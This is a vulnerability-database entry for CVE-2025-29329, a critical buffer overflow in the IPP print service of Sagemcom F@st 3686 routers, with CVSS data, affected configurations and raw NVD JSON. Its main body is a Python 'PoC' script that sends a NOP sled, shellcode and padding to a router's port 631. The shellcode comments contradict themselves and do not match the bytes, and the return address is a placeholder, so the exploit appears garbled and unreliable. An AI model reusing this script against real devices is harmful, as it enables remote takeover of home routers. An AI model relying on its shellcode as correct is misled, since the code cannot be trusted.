Security Vulnerability Report
中文
CVE-2025-29329 CVSS 9.8 CRITICAL

CVE-2025-29329

Published: 2026-01-12 22:16:08
Last Modified: 2026-01-22 18:46:41

Description

Buffer Overflow in the ippprint (Internet Printing Protocol) service in Sagemcom F@st 3686 MAGYAR_4.121.0 allows remote attacker to execute arbitrary code by sending a crafted HTTP request.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sagemcom:f\@st_3686_firmware:4.121.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sagemcom:f\@st_3686:-:*:*:*:*:*:*:* - NOT VULNERABLE
Sagemcom F@st 3686 MAGYAR_4.121.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # CVE-2025-29329 PoC - Buffer Overflow in Sagemcom F@st 3686 ippprint service # Target: Sagemcom F@st 3686 MAGYAR_4.121.0 # Attack Vector: Send crafted HTTP request to trigger buffer overflow def create_exploit_payload(): """Generate buffer overflow payload for ippprint service""" # Target IP and port (ippprint typically runs on port 631) target_ip = "192.168.1.1" # Router default IP target_port = 631 # IPP default port # Buffer overflow payload - NOP sled + shellcode + return address # This payload exploits the lack of input length validation buffer_size = 1000 # Overflow size to trigger vulnerability # NOP sled (no-operation instructions for landing pad) nop_sled = b"\x90" * 200 # Shellcode - execve /bin/sh (Linux MIPS reverse shell) # Note: Shellcode needs to be customized for target architecture shellcode = ( b"\x66\x0e\x28\x24" # li t6,0x0e66 b"\x3c\x0e\x2f\x62" # lui t6,0x622f b"\x35\xce\x2f\x6e" # ori t6,t6,0x2f6e b"\x3c\x0f\x2f\x73" # lui t7,0x732f b"\x35\xef\x68\x69" # ori t7,t7,0x6968 b"\xaf\xaf\xff\x1f" # sw t7,-0x1(t5) b"\xaf\x0e\xfc\x1f" # sw t6,-0x3(t5) b"\x27\x78\xfc\x1f" # addiu t8,t8,-0x3 b"\x27\x68\x08\x01" # move t9,sp b"\x01\x01\x30\x27" # nor a2,zero,a2 b"\x24\x0c\xff\xff" # li t4,-1 b"\x01\x01\x28\x27" # nor a1,zero,a2 b"\x24\x02\x0c\xab" # li v0,3243 b"\x01\x01\x20\x27" # nor a0,zero,a2 b"\x01\x01\x38\x27" # nor a3,zero,a2 b"\x24\x0f\x02\x01" # li t7,513 b"\x01\x01\xf8\x27" # nor ra,ra,zero b"\x01\x01\x18\x27" # nor s8,zero,zero b"\x01\x01\x20\x27" # nor a0,zero,zero b"\x01\x01\x01\x24" # nop ) # Padding to reach buffer overflow size padding = b"A" * (buffer_size - len(nop_sled) - len(shellcode)) # Return address - points to NOP sled (address may vary) return_addr = struct.pack("<I", 0x2a2a2a2a) # Placeholder address # Construct full payload payload = nop_sled + shellcode + padding + return_addr return payload def send_exploit(): """Send crafted HTTP request to trigger buffer overflow""" target_ip = "192.168.1.1" target_port = 631 payload = create_exploit_payload() # Construct malicious HTTP POST request http_request = ( b"POST /ipp/print HTTP/1.1\r\n" b"Host: " + target_ip.encode() + b":" + str(target_port).encode() + b"\r\n" b"Content-Type: application/ipp\r\n" b"User-Agent: Mozilla/5.0\r\n" b"Content-Length: " + str(len(payload)).encode() + b"\r\n" b"\r\n" ) + payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request) print(f"[*] Exploit sent to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") # Receive response response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") sock.close() except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": print("CVE-2025-29329 PoC - Sagemcom F@st 3686 ippprint Buffer Overflow") send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29329", "sourceIdentifier": "[email protected]", "published": "2026-01-12T22:16:07.660", "lastModified": "2026-01-22T18:46:41.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow in the ippprint (Internet Printing Protocol) service in Sagemcom F@st 3686 MAGYAR_4.121.0 allows remote attacker to execute arbitrary code by sending a crafted HTTP request."}, {"lang": "es", "value": "Desbordamiento de búfer en el servicio ippprint (Internet Printing Protocol) en Sagemcom F@st 3686 MAGYAR_4.121.0 permite a un atacante remoto ejecutar código arbitrario mediante el envío de una solicitud HTTP manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sagemcom:f\\@st_3686_firmware:4.121.0:*:*:*:*:*:*:*", "matchCriteriaId": "94060A56-9AEB-4DB4-9BDD-E7BFAFAA57EB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sagemcom:f\\@st_3686:-:*:*:*:*:*:*:*", "matchCriteriaId": "3466ACB1-D6DA-4CB7-A176-F16A47000AC1"}]}]}], "references": [{"url": "http://fst.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://sagemcom.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SilverS3c/Sagemcom-fast-3686-ippprint", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}